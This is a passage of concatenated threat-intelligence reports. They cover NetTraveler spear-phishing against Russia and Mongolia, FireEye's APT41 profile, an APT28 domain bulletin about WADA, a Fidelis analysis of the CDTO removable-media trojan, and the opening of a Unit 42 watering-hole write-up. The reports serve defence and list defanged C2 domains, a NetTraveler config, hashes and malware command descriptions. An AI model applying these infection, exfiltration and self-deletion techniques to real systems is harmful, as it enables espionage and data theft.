Figure 3: MNKit builder artifacts in the exploit document, including a LastAuthor value of User123 4/10 Other Targeted Countries Besides targeting Russia with NetTraveler, the actor also appears to have interests in Mongolia.
While we do not have spear- phishing emails for these samples, we found certain payloads using Mongolian lures and decoys.
For example, the file 13_11.rar found on March 11 contains a NetTraveler payload with a Mongolian file name .exe (Social Insurance General Gazar.exe) and a decoy PDF file with the same name.
The CC for this sample, www.mogoogle[.
]com, resolved to the IP address 103.231.184[.
]164, where the last octet of the IP is only 1 number larger than the IP address used for NetTraveler payloads with Russian targeting.
Figure 4: Decoy PDF used with the Mongolian-targeting NetTraveler payload Another sample found April 20 with a Russian filename   Sputnik     .rar (Main editor of Sputnik-Turkey will return to Moscow on Wednesday.doc.scr) containing a NetTraveler payload with a decoy JPG file.
The image file is a picture of a Turkish-language Unacceptable forms of passenger information form.
This sample reuses the CC domain www.mogoogle[.
]com.
The decoy in this sample was based on an RIA (a Russian language news agency) news article that appeared on the same day describing how the editor for the Turkish branch of a major Russian news source, Sputnik, was not allowed to enter Turkey during the height of the Russia-Turkey plane-downing dispute [7].
This payload could have been sent to Russian or Turkish individuals.
5/10 Figure 5: Decoy JPG used with the Russia/Turkey NetTraveler payload Another sample found on March 13 included a Russian file name    - 2016.rar (Joint anti-terrorism training Antiterror 2016.scr) and contains a NetTraveler payload with CC www.voennovosti[.
]com.
The file name for this sample capitalizes on a Belarusian news article [8] describing anti-terror exercises in Minsk, Belarus, by participating Commonwealth of Independent States countries (CIS).
This payload could have been sent to a national of participating countries such as Belarus, Russia, or Ukraine.
Infrastructure The following table summarizes the CC and payload hosting domains used throughout the year.
6/10 Infection Site Registrant Email Legitimate Site Mimicked www.tassnews[.
]net ghjksdgmail.com tass.ru (Major Russian news agency) www.interfaxru[.
]com ganhgmail.com www.interfax.ru (Russian non-government news agency) www.riaru[.
]net fjkngeyahoo.com Ria.ru (State-operated domestic Russian news agency) www.voennovosti[.
]com ukdfgmail.com voennovosti.ru (Military news of Russia) www.info-spb[.
]com kefj0943yahoo.com Unknown (Possibly an acronym for St. Petersburg, a major city in Russia) www.mogoogle[.
]com rubiya163.com Unknown (Possibly a word combination of Mongolia and Google) All the domains (except mogoogle[.
]com) were set up with the same registrar in Beijing referred to as Shanghai Meicheng Technology Information Development Co., Ltd.. Other than the emails, information used for registration was randomized.
On the infrastructure side, the similarities to the 2015 PlugX campaign we described in In Pursuit of Optical Fibers and Troop Intel: Targeted Attack Distributes PlugX in Russia include: Registration using Shanghai Meicheng Technology Information Development Co., Ltd. Use of 4 - 6 letter Yahoo or Gmail registrant accounts Use of fake CC domains that mimic major news sites or military forums IP address 98.126.38[.
]107 resolved to domains used in both 2015 (including patriotp[.
]com) and 2016 campaigns (such as www.voennovosti[.
]com) NetTraveler Analysis NetTraveler implants continue to use a DLL side-loading technique.
The payloads described here used the clean, signed executable fsguidll.exe (F-secure GUI component) to sideload fslapi.dll or the clean, signed executable RasTls.exe to sideload rastls.dll.
The configuration file used by NetTraveler uses a known format.
For example, the payload dropped by 20160623.doc (See IOC table) uses the following configuration, where U00P is a CC server, K00P is a DES key composed of a string of repeated As, P00D is sleep time, and F00G is proxy setting.
U00P and K00P are encrypted in the file using a simple algorithm.
These values are contained in the dropped config.dat file.
Additionally, MM1 through MM6 parameters (not shown below) are added after installation.
[
OOOOOO] U00Phxxp://www.tassnews[.
]net/revenge/dk/downloader.asp K00PAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA P00D5 F00GTrue Conclusion 7/10 Threat actors have been successfully using NetTraveler for cyber-espionage for over 10 years.
Targets have ranged from government agencies to nuclear power installations.
In this case, it appears that Chinese actors are targeting a variety of interests in Russia and neighboring countries, relying on spear-phishing attacks to drop NetTraveler on vulnerable machines.
Regardless of the TTPs, this ongoing APT points to the staying power of NetTraveler and the need for ongoing vigilance and technological protections against advanced persistent threats.
Even organizations without direct government ties are potential targets for these types of attacks as smaller agencies or contractors can serve as beachheads in larger campaigns against indirectly related targets.
References [1] https://securelist.com/blog/research/35936/nettraveler-is-running-red-star-apt-attacks-compromise-high-profile-victims/ [2] https://www.proofpoint.com/us/threat-insight/post/PlugX-in-Russia [3] http://www.welivesecurity.com/2014/11/12/korplug-military-targeted-attacks-afghanistan-tajikistan/ [4] http://researchcenter.paloaltonetworks.com/2016/06/unit42-recent-mnkit-exploit-activity-reveals-some-common-threads/ [5] http://asia.nikkei.com/Business/Companies/Known-virus-linked-to-China-behind-JTB-data-breach [6] https://www.sophos.com/en-us/medialibrary/PDFs/technical20papers/sophos-office-exploit-generators-szappanos.pdf [7] http://ria.ru/world/20160420/1415455030.html [8] http://sputnik.by/defense_safety/20160524/1022738965.html [9] http://army-news.ru/2015/01/novyj-shhit-i-novyj-mech/ Indicators of Compromise (IOC) IOC IOC Type Description www.interfaxru[.
]com    Hostname NetTraveler CC and payload hosting site www.info-spb[.
]com Hostname NetTraveler CC and payload hosting site www.tassnews[.
]net Hostname NetTraveler CC www.riaru[.
]net Hostname NetTraveler CC www.voennovosti[.
]com Hostname NetTraveler CC www.mogoogle[.
]com Hostname NetTraveler CC 103.231.184[.
]164 IP NetTraveler CC 103.231.184[.
]163 IP NetTraveler CC 98.126.38[.
]107 IP NetTraveler CC 8/10 https://securelist.com/blog/research/35936/nettraveler-is-running-red-star-apt-attacks-compromise-high-profile-victims/ https://www.proofpoint.com/us/threat-insight/post/PlugX-in-Russia http://www.welivesecurity.com/2014/11/12/korplug-military-targeted-attacks-afghanistan-tajikistan/ http://researchcenter.paloaltonetworks.com/2016/06/unit42-recent-mnkit-exploit-activity-reveals-some-common-threads/ http://asia.nikkei.com/Business/Companies/Known-virus-linked-to-China-behind-JTB-data-breach https://www.sophos.com/en-us/medialibrary/PDFs/technical papers/sophos-office-exploit-generators-szappanos.pdf http://ria.ru/world/20160420/1415455030.html http://sputnik.by/defense_safety/20160524/1022738965.html http://army-news.ru/2015/01/novyj-shhit-i-novyj-mech/ hxxp://www.interfaxru[.
]com/html/rostechnologii/20160420.rar URL NetTraveler payload URL hxxp://www.info-spb[.
]com/analiz/voennye_kommentaria/n148584.rar URL NetTraveler payload URL hxxp://www.info-spb[.
]com/html/news/cout/20.rar URL NetTraveler payload URL hxxp://www.info-spb[.
]com//worldnews/almaz-antey/no.15.02.2016.rar URL NetTraveler payload URL hxxp://www.info-spb[.
]com/worldnews/mfa/ua/2016-02-16.zip URL NetTraveler payload URL hxxp://www.info-spb[.
]com/worldnews/mfa/uz/03.02.2016.rar URL NetTraveler payload URL 5afcaca6f6dd6fb3bad26585f30870f71462c59e251cc76b0df5851ac2aa17de SHA256 20160420.rar 67c994ad328cd3d8b954366b2baa5e643b31ed42280548eebbd0c30c53f9e37d SHA256   2016 .rar f3997f8269e4177342aec8816c28cfebaef17a86f22eef15d90b4f9e5b15d8e6 SHA256 20160330.rar 69527b0471c2effab2d21106556ace6bd501daf7758b2ebbf3b2780d6399ecbf SHA256  - 2016.rar 8e3e5b12f0964e73e4057610ce7a6aa25607c94536762128dabebf9ccfa667d4 SHA256 13_11.rar 1bcafa596c597868a179fe3d783b8c5bcd1b487d891b99cb90e76e8abd55a599 SHA256 Sputnik  .rar 409bb7f9faf4b7dc168f71084edb695707f22a83a2e79b810a0b4a27966d78f1 SHA256 .rar 3adacca54c6fe4bb905e233e48dffd8f6d03078d3d2d309d40e2e67a04a70db1 SHA256 n148584.rar 80ba8997067025dd830d49d09c57c0dcb1e2f303fa0e093069bd9cff29420692 SHA256 20160623.doc 60386112fc4b0ddb833fc9a877a9a4f0fe76828ebab4457637b0827106b269fe SHA256 20160607.doc b3a5c562e3531fb8be476af4947eaa793a77cc61715284bfb9c380b7048da44a SHA256 .doc 9/10 Select ET Signatures that would fire on such traffic: 2816649  ETPRO TROJAN Win32.TravNet.
C HTTP Checkin 10/10 NetTraveler APT Targets Russian, European Interests
APT41: A Dual Espionage and Cyber Crime Operation fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html Today, FireEye Intelligence is releasing a comprehensive report detailing APT41, a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations.
APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain.
Explicit financially-motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward.
The full published report covers historical and ongoing activity attributed to APT41, the evolution of the groups tactics, techniques, and procedures (TTPs), information on the individual actors, an overview of their malware toolset, and how these identifiers overlap with other known Chinese espionage operators.
APT41 partially coincides with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky).
Who Does APT41 Target?
Like other Chinese espionage operators, APT41 espionage targeting has generally aligned with Chinas Five-Year economic development plans.
The group has established and maintained strategic access to organizations in the healthcare, high-tech, and telecommunications sectors.
APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance.
For example, the group has repeatedly targeted call record information at telecom companies.
In another instance, APT41 targeted a hotels reservation systems ahead of Chinese officials staying there, suggesting the group was tasked to reconnoiter the facility for security reasons.
The groups financially motivated activity has primarily focused on the video game industry, where APT41 has manipulated virtual currencies and even attempted to deploy ransomware.
The group is adept at moving laterally within targeted networks, including pivoting between Windows and Linux systems, until it can access game production environments.
From there, the group steals source code as well as digital certificates which are then used to sign malware.
More importantly, APT41 is known to use its access to production environments to inject malicious code into legitimate files which are later distributed to victim organizations.
These supply chain compromise tactics have also been characteristic of APT41s best known and most recent espionage campaigns.
1/5 https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html http://content.fireeye.com/apt41/rpt-apt41 https://www.microsoft.com/security/blog/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/ https://securelist.com/winnti-more-than-just-a-game/37029/ https://www.welivesecurity.com/2019/03/11/gaming-industry-scope-attackers-asia/ https://www.clearskysec.com/winnti/ https://www.uscc.gov/sites/default/files/Research/The 13th Five-Year Plan_Final_2.14.17_Updated 2800229.pdf Interestingly, despite the significant effort required to execute supply chain compromises and the large number of affected organizations, APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers.
These multi-stage operations restrict malware delivery only to intended victims and significantly obfuscate the intended targets.
In contrast, a typical spear-phishing campaigns desired targeting can be discerned based on recipients email addresses.
A breakdown of industries directly targeted by APT41 over time can be found in Figure 1.
Figure 1: Timeline of industries directly targeted by APT41 Probable Chinese Espionage Contractors Two identified personas using the monikers Zhang Xuguang and Wolfzhi linked to APT41 operations have also been identified in Chinese-language forums.
These individuals advertised their skills and services and indicated that they could be hired.
Zhang listed his online hours as 4:00pm to 6:00am, similar to APT41 operational times against online gaming 2/5 targets and suggesting that he is moonlighting.
Mapping the groups activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs.
Attribution to these individuals is backed by identified persona information, their previous work and apparent expertise in programming skills, and their targeting of Chinese market- specific online games.
The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the groups later espionage operations.
3/5 Figure 2: Operational activity for gaming versus non-gaming-related targeting based on observed operations since 2012 The Right Tool for the Job APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions, including publicly available utilities, malware shared with other Chinese espionage operations, and tools unique to the group.
The group often relies on spear- phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims.
Once in a victim organization, APT41 can leverage more sophisticated TTPs and deploy additional malware.
For example, in a campaign running almost a year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits.
APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems.
The use of bootkits in particular adds an extra layer of stealth because the code is executed prior to the operating system initializing.
The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets.
Fast and Relentless APT41 quickly identifies and compromises intermediary systems that provide access to otherwise segmented parts of an organizations network.
In one case, the group compromised hundreds of systems across multiple network segments and several geographic regions in as little as two weeks.
The group is also highly agile and persistent, responding quickly to changes in victim environments and incident responder activity.
Hours after a victimized organization made changes to thwart APT41, for example, the group compiled a new version of a backdoor using a freshly registered command-and-control domain and compromised several systems across multiple geographic regions.
In a different instance, APT41 sent spear-phishing emails to multiple HR employees three days after an intrusion had been remediated and systems were brought back online.
Within hours of a user opening a malicious attachment sent by APT41, the group had regained a foothold within the organizations servers across multiple geographic regions.
Looking Ahead APT41 is a creative, skilled, and well-resourced adversary, as highlighted by the operations distinct use of supply chain compromises to target select individuals, consistent signing of malware using compromised digital certificates, and deployment of bootkits (which is rare 4/5 among Chinese APT groups).
Like other Chinese espionage operators, APT41 appears to have moved toward strategic intelligence collection and establishing access and away from direct intellectual property theft since 2015.
This shift, however, has not affected the groups consistent interest in targeting the video game industry for financially motivated reasons.
The groups capabilities and targeting have both broadened over time, signaling the potential for additional supply chain compromises affecting a variety of victims in additional verticals.
APT41s links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them.
It is also possible that APT41 has simply evaded scrutiny from Chinese authorities.
Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41.
5/5 APT41: A Dual Espionage and Cyber Crime Operation Who Does APT41 Target?
Probable Chinese Espionage Contractors The Right Tool for the Job Fast and Relentless Looking Ahead
[tr1adx]: Intel tr1adx.net/intel/TIB-00004.html tr1adx Intelligence Bulletin (TIB) 00004: A Pretty Dope Story About Bears: Early Indicators of Continued World Anti-Doping Agency (WADA) Targeting [Published: January 14, 2017] Summary The tr1adx team identified what we believe to be a new campaign, which we assess to be attributed to the Russian Nation State Threat Actor APT28 (a.k.a.
Fancy Bear), yet again targeting the World Anti-Doping Agency (WADA) .
In September 2016, WADA confirmed they were the victim of a successful breach, which occurred over the summer of 2016, and purportedly attributed to APT28, as was reported in WADAs press release on the attack.
For those interested, ThreatConnect published an informative write up on this breach, entitled Russian Cyber Operations On Steroids, detailing the APT28 campaign targeting WADA.
Analysis On January 14, 2017, the tr1adx team observed what we believe to be early stages of a new campaign targeting the World Anti- Doping Agency (WADA) or affiliates.
A Threat Actor, following similar TTPs to those we have seen Russian Nation State Threat Actor APT28 use, has registered two domains which we assess may be used in further cyber attacks against the WADA or its affiliates.
Additionally, in a move similar to TTPs described in ThreatConnects Russian Cyber Operations On Steroids report, we believe the Threat Actor may be preparing to launch, or has already launched a phishing campaign against their targets.
Indicators of Compromise Added on 2017-01-14: Domain Creation Date Campaign Status Targeted Org Targeted Country Targeted Domain Analyst Notes (and other fun anecdotes) worlddopingagency[.
]com 2017- 01-14 Active World Anti- Doping Agency (WADA) Canada wada- ama.org Identified 1 related indicator: mail[.]worlddopingagency[.
]com (40.112.145.124) dopingagency[.
]com 2017- 01-14 Active World Anti- Doping Agency (WADA) Canada wada- ama.org Identified 1 related indicator: mail[.]dopingagency[.
]com (40.112.145.124) Indicators of Compromise (IOCs) [Downloadable Files]: TIB-00004 Domain IOCs [TXT] If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber investigative processes immediately and engage Law Enforcement where appropriate.
Recommendations Evidence suggests this campaign may be in the early execution phase.
As such, a number of preventative and detective controls can be instrumented to deter this Threat Actor from achieiving their mission: Block traffic to and from any of the above listed domains and IP addresses on proxies and firewalls.
Block emails originating from or going to aforementioned domains (worlddopingagency[.
]com and dopingagency[.
]com).
Search through SIEM/Log Analysis tools for traces of connections to and from these domains or IP addresses, as well as proactively create alerting rules in SIEM or IDS/IPS.
Recommendation for WADA: Get these domains taken down ASAP.
1/2 https://www.tr1adx.net/intel/TIB-00004.html https://www.wada-ama.org/ https://www.wada-ama.org/en/media/news/2016-09/wada-confirms-attack-by-russian-cyber-espionage-group https://www.threatconnect.com/blog/fancy-bear-anti-doping-agency-phishing/ https://www.threatconnect.com/blog/fancy-bear-anti-doping-agency-phishing/ https://www.tr1adx.net/intel/public/TIB-00004_IOC_Domain.txt 2/2 [tr1adx]: Intel
Fidelis Threat Advisory 1011 New CDTO: A Sneakernet Trojan Solution January 15, 2014 Document Status: FINAL Last Revised: 2014-01-15 Executive Summary: The General Dynamics Fidelis Cybersecurity forensics team analyzed several related malware samples that together provide a sophisticated mechanism to gather data from individual computer systems.
The malware appears to be part of a system that may be optimized for use by an insider agent and/or for collecting data from disparate networks or air-gapped systems.
The malware includes features to clean up after itself by deleting key indicators that it was present.
The malware system apparently includes additional components that have not been identified.
These components would potentially perform additional command and control functions and potentially exfiltration from the central host.
The sophistication of the malware and the effort involved in its development would indicate that it was developed for a high value target.
However, the specific targeting of this malware is not clear at this time.
We are concerned that while the malware system was probably developed for a specific target or family of targets, it could be employed with little adaptation against virtually any target.
This threat advisory describes the functionality of the three malware files to include command inputs and the resulting behavior of the malware.
The Fidelis XPS advanced threat defense system has been updated with rules to detect various components of this malware system.
However, the fact there are still unanswered questions about the components of the malware system and its intended targeting, emphasizes the importance of employing that best practices such as denying use of removable media on sensitive systems and disabling autorun This is particularly true for systems that are not protected by Fidelis XPS.
Additional reverse engineering and analysis is on-going at this time.
Forensic Analysis Findings: On 8 Jan 2014, The Fidelis Network Defense and Forensics team received three files: netsat.exe, netui3.dll and winmgt.dll.
All three files were 32 bit executable files.
Preliminary analysis disclosed netsat.exe would terminate when run if the system date was on or after 21 Jun 2013.
The submitted files appeared to represent two parts of a suspected data collection scheme.
Essentially, netsat.exe appeared to operate as a master program that infected removable media connected to the system whereon it was running and collected data from infected drives when the drives returned.
netsat.exe received commands from an encrypted file stored on the local system.
The infection was in the form of a renamed netui3.dll or winmgt.dll file along with an Autorun.inf file set to run the renamed netui3.dll/winmgt.dll when the infected drive was connected to a target host.
There could be many iterations of netsat.exe running on enterprise or targeted entity systems.
Based on available analysis results, netsat.exe could collect surreptitiously gathered data from any infected drive connected to the system whereon netsat.exe was running, e.g., the infected drive would not have to be processed by the same system whereon it became infected.
Data, in the form of files, destined for exfiltration may be obfuscated via a custom XOR operation.
The gathered data would ostensibly be exfiltrated via other means.
Some components of the malwares behavior are possibly remarkable.
Quickly considering these results in cursory questions reflected as follows: Command and Control (C2) appears to be accomplished via providing commands in an encrypted file stored on the local master system (re: netsat.exe).
This C2 scheme would seem to dictate: o Intruder remote access to the master system o Intruder local access to the master system o a C2 delivery/retrieval component, such as another piece of code that downloads a C2 file Available information precludes determination of the means of exfiltration.
netsat.exes data collection functionality suggested data destined for exfiltration might be collected by the master system.
This possibility suggests: o Intruder remote access to the master system o Intruder local access to the master system o An exfiltration mechanism in the form of another piece of code Detection Scanning with several select third party malware detection applications resulted in zero detections.
Cursory online research disclosed a file named netui3.dll was possibly submitted to VirSCAN.org on or before 2 Dec 2013.
The name netui3.dll appears to have been used for malware in the past and was likely associated with a backdoor.
The name may be a play on the name netui2.dll, a legitimate Windows file name.
File System Artifacts File Name: netsat.exe File Size: 43520 bytes MD5: eb8399483b55f416e48a320d68597d72 SHA1: 8a7183b7ceb30517460b6ab614551ca38e915309 PE Time: 0x5154F7F2 [Fri Mar 29 02:09:54 2013 UTC] Sections (4): Name Entropy MD5 .text 6.37 df1790813aca1265bc475f3891957512 .rdata 5.19 a598dca4a8fe8ee17941fa60be746d31 .data 0.29 b3d1c1a0b1054a082c841ebd1354755f .rsrc 3.34 d4b9539426ff130b80e11efec7465acd File Name: netui3.dll File Size: 39424 bytes MD5: 68aed7b1f171b928913780d5b21f7617 SHA1: 44e711e95311b81d597a7800d96482b873cb8235 PE Time: 0x5152AE99 [Wed Mar 27 08:32:25 2013 UTC] Sections (3): Name Entropy MD5 .text 6.37 b2a939d2ad678201560285287e7dca1d .rdata 5.32 2cd54a2d2ada8650c9bd9eae69aef3ca .data 0.58 70a79ca0958afad5b7742641b2cff9ea File Name: winmgt.dll File Size: 37888 bytes MD5: 54e4a15a68cfbb2314d0aaad455fbfce SHA1: 49531b098049ae52264ae9b398c2cf59ff5379bc PE Time: 0x50CAEAE4 [Fri Dec 14 09:01:24 2012 UTC] Sections (3): Name Entropy MD5 .text 6.31 6a0f9499f4ca8e0b2e4f09b9126806e6 .rdata 5.23 e49920b9ebad63f0d95bad505ea8fdf7 .data 0.59 a583b2c8490a7f0fcaee2f4776e445d8 Date Checking All three submitted files compared the system date and time to hard coded dates upon execution.
If the system date was after the hard coded dates, the malware would delete itself and terminate.
The following table illustrates the hard coded dates in relation to the affected files PE dates: File Name PE Timestamp Date Date Checked Within Executable Image netsat.exe 29 Mar 2013 21 Jun 2013 (Deletes itself and associated files after this date) netui3.dll 27 Mar 2013 31 May 2013 (Deletes itself and associated files after this date) winmgt.dll 14 Dec 2012 30 Dec 2012 (Deletes itself and associated files after this date) Versioning, etc.
The following version information was recorded in the netsat.exe executable: Child Type: StringFileInfo Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Cdto Netware 2.12 Provider FileVersion: 5.1.2600.0 (xpclient.010817-1148) InternalName: NEWCDTO LegalCopyright: Microsoft Corporation.
All rights reserved.
OriginalFilename: cdto.dll ProductName: Microsoft Corporation.
All rights reserved.
ProductVersion: 5, 1, 2600, 0 Child Type: VarFileInfo Translation: 1033/1200 The Language/Code Page code 1033 denotes U.S. English.
This versioning information appears contrived.
However, it looks convincing enough to pass cursory inspection, i.e., the format appears legitimate and the appearance does not engender suspicion.
Cursory online searches failed to disclose what, if anything Cdto might be associated with.
Scanning disclosed the file contained a function possibly associated with TEAN encryption.
This appeared to indicate TEA (Tiny Encryption Algorithm) involvement.
(
Note: The encryption is used to encrypt commands stored in a file on the local system.)
The submitted files named netui3.dll and winmgt.dll did not have embedded versioning Information like netsat.exe did.
Files and paths The presence of the following files may indicate netsat.exe, et al, involvement: CSIDL_WINDOWS\msagent\ netui3.dll Netui3.dll in any path CSIDL_WINDOWS\msagent\ netwn.drv Netwn.drv in any path CSIDL_MYPICTURES\winsSetup35.exe in any path Setup23.exe in any path CSIDL_NETHOOD\Microsoft\Windows\Help\set.fl CSIDL_LOCAL_APPDATA\Microsoft\Windows\Help\intr CSIDL_NETHOOD\Microsoft\Windows\Chars\ferf.st CSIDL_NETHOOD\Microsoft\Windows\Chars\fert.st CSIDL_LOCAL_APPDATA\Microsoft\Windows\Chars\intr CSIDL_NETHOOD\Microsoft\Windows\message\ CSIDL_NETHOOD\Microsoft\Windows\Intel\ Act.te in any path u.t in any path netwi.drv in any path FF325I.tmp or FF323D.tmp in the path specified by the TMP.
TEMP.
or USERPROFILE environment variables or the Windows directory The presence of the following, specifically on removable media, may indicate netsat.exe, et al, involvement: Autorun.inf file containing the file name setup35.exe or possibly setup23.exe RECYCLER\RECYCLED\SYS RECYCLED\RECYCLED\SYS RECYCLED\RECYCLED\SYS\desktop.ini (Wont be visible via GUI) RECYCLER\RECYCLED\SYS\desktop.ini (Wont be visible via GUI) disk.ini Registry Cursory analysis did not disclose entrenchment data, such as a Registry entry to ensure persistence.
Network Artifacts: This cursory analysis disclosed no network artifacts specific to the malwares operation.
However, evidence of any of the files involved (MD5, strings, file names) traversing the network, e.g., on the move, may be indicative of netsat.exe, et al presence.
Given what was revealed during this cursory analysis, finding string and or hash artifacts in SMB traffic seemed the most likely possibility with regard to network detection.
Strings: netsat.exe The following interesting strings were noted in the raw netsat.exe file: VMProtect begin VMProtect end  Path --  s to Added  Pathlen  u AddInit - ci.
DestFile:s ad dri, nDd netui3.dll netwi.drv Global\Mtx_Sp_On_PC_1_2_8 Cdto Netware 2.12 Provider Cr Des Cr De.i.
errd setup35.exe setup23.exe act.te ferf.st fert.st netwn.drv D c p D c u SystemPriClass Cr ne j Netui3.dll The following interesting strings were noted in the raw netui3.dll file: set.fl setup35.exe setup32.exe act.te ferf.st fert.st u.t setup23.exe s -wu s s -ws s No j n Mtx_Sp_On_PC_1_2_8 SystemPriClass Winmgt.dll The following interesting strings were noted in the raw winmgt.dll file: set.fl setup35.exe setup32.exe act.te ferf.st fert.st u.t s -wu s No j n Mtx_Sp_On_PC_1_2_8 \wins.log SystemPriClass Functionality: Based on netsat.exe manipulating a file named netui3.dll, the submitted netsat.exe and netui3.dll appeared associated.
Versioning is possible.
For example, the submitted netui3.dll sample may not match the submitted netsat.exe sample in terms of versioning.
However, analysis assumed, for the sake of efficiency, that the submitted netui3.dll and submitted netsat.exe file were associated.
The submitted winmgt.dll file appeared very similar to netui3.dll.
However, some differences suggested the two files represented disparate versions.
Analysis disclosed date sensitivity built into the submitted files.
If the sample was run after a particular date, it would effectively terminate and delete itself: File Name PE Timestamp Date Date Checked Within Executable Image netsat.exe 29 Mar 2013 21 Jun 2013 (Deletes itself and associated files after this date) netui3.dll 27 Mar 2013 31 May 2013 (Deletes itself and associated files after this date) winmgt.dll 14 Dec 2012 30 Dec 2012 (Deletes itself and associated files after this date) Analysis disclosed netsat.exe probably serves as the headquarters of malicious activity by: Running on a possibly compromised system Logging some activity and errors to a file Receiving commands via an encrypted file on the local system (possible C2) Listening for drive connections Infecting connected drives with netui3.dll/winmgt.dll (setup32.exe  Autorun.inf) Collecting data gathered by any infected drives, ostensibly upon their return from being connected to other systems Analysis disclosed netui3.dll/winmgt.dll probably serve as the field units of malicious activity by: Collecting information about systems it comes into contact with through connection to the targeted systems with the drive whereon the malware resides o IP o Platform o Name o Version o Type o Primary or Backup Domain Controller (PDC or BDC) o Determines network join status (none, workgroup, domain) via NetGetJoinInformation API o Detailed OS version o Running Time o Computer Name o User Name o System Directory o Current Date and Time o Locale Information (Country and Language) o Drive info (total/free size, type, etc.)
o Network Adapter description o IP Address o IP Mask o Gateway IP o Recursive directory listings o Enumerates normal user account names Collecting file listings from local and share connected drives Discovering and connecting to shared drives visible to the local targeted system Copying and writing files to/from drives visible to the local targeted system Commands The following commands and their descriptions, listed by executable file, illustrate the submitted malwares functionality: netsat.exe Command Description Cpd copies directories and contents Cpr copies files with size checking Der deletes files and records activity in log Dir obtains a directory listing netsat.exe Command Description Ferry writes malicious files to a hidden RECYCLED or RECYCLER directory Files: setup35.exe (renamed netui3.dll), Autorun.inf, disk.ini (renamed netwi.drv), act.te Getres iteratively copies files from RECYCLED/RECYCLER directory on target drive, deletes from source after copy - source is assumed to be drive used to collect data from one or more systems netui3.dll (setup35.exe) Command Description Cp copies files from one location to another Cpu copies files from one location to another setting copied files as hidden Cptur creates a directory and copies file to that directory Ddr silently deletes directory (performs an FO_DELETE shell file operation on a directory with the FOF_NOERRORUI, FOF_NOCONFIRMATION, and FOF_SILENT flags set) Del deletes a file Delu deletes a file after setting attributes to normal Gd recursively writes and reads encoded data to/from a directory Gdir prints directory listings to FF323D.tmp data gets encoded original FF323D.tmp file is deleted Gf writes and reads encoded data to/from a file Gfover determines if it has access to a file may be a temp file creation/rename involved Gi collects system related and possibly network related information such as, domains, system information Ndr creates a directory Newend closes a file that was opened for writing Newstar sets normal attributes on a targeted file, deletes the file, opens the same file name as a binary file Wr writes a string to a new file opened by the newstar command.
Runb try to run a targeted executable and then checks for the existence of that file every second for the next 15 minutes as long as it exists netui3.dll (setup35.exe) Command Description Rune try to run a targeted executable one time Slf generates a targeted file listing, e.g., dir, then copies the files in the list one by one Srf copies files in a list one by one Srmf uses NetUseAdd to connect to ipc share of a target host, creates a listing of files in the c - z shares of the target host, copies the files to a new location, deletes the share connection added using NetuseAdd Note: rows highlighted in grey denote a best guess on functionality more analysis was pending at the time of this report Conclusions: This advisory is based on preliminary information.
It is important to note that reverse engineering and analysis of the malware system is still underway.
We expect to provide additional data, and some of this information may change as a result of continued research.
However, due to the unique functionality of malware system and its potential for employment against targets beyond the initially intended victim, the network security community should be concerned and track this malware closely.
While we have updated the Fidelis XPS system to detect known components of the malware family, this package reemphasizes the importance of employing good basic network security practices such as denying use of removable media on sensitive systems and disabling autorun
Watering Hole Attack on Aerospace Firm Exploits CVE-2015-5122 to Install IsSpace Backdoor On July 16, 2015, the Palo Alto Networks Unit 42 threat intelligence team discovered a watering hole attack on the website of a well-known aerospace firm.
The website was compromised to launch an apparent watering-hole attack against the companys customers.
It was hosting an Adobe Flash exploit targeting one of the newly disclosed vulnerabilities from the Hacking Team data breach, CVE-2015-5122.
This attack yet again showcases the opportunistic tendencies of adversary groups and bad actors.
The malware deployed by this exploit has been seen in a number of targeted attacks and provides attackers with a foothold on the victims machine and/or network.
The exploit file, movie.swf, was ZWS compressed, a tactic that has been observed to evade anti-virus programs.
Once uncompressed, a binary was found to be embedded in the Flash file.
Upon further analysis, this file was found to contain behavior consistent with a Trojan commonly called IsSpace.
Based on its codebase and behavioral patterns, it appears that IsSpace could possibly be an evolution of the NFlog backdoor, which has previously been attributed to the adversary groups DragonOK and Moafee.
Both groups are thought to be operating out of Southeast Asia, and Moafee in particular has been associated with attacks on the US defense industrial base.
Exploit Details The CVE-2015-5122 exploit found within the Flash file is nearly identical to the original proof of concept (POC) disclosed publically from the Hacking Team data breach.
An analysis by Trend Micro covers the POC in detail.
Unlike the POC mentioned in the Trend Micro report, this particular exploit file was weaponized, and, instead of loading calc.exe, a much more malicious file was loaded.
As seen in Figure 1, the embedded shellcode is obfuscated using the same technique of representing bytes as integers and exponential numbers.
However it appears that the adversary did not modify the POC much, as the variable name calc remains unchanged.
http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html https://publicintelligence.net/fbi-hack-tools-opm/ http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/ https://www.fireeye.com/resources/pdfs/white-papers/fireeye-operation-quantum-entanglement.pdf http://blog.trendmicro.com/trendlabs-security-intelligence/another-zero-day-vulnerability-arises-from-hacking-team-data-leak/ Figure 1.
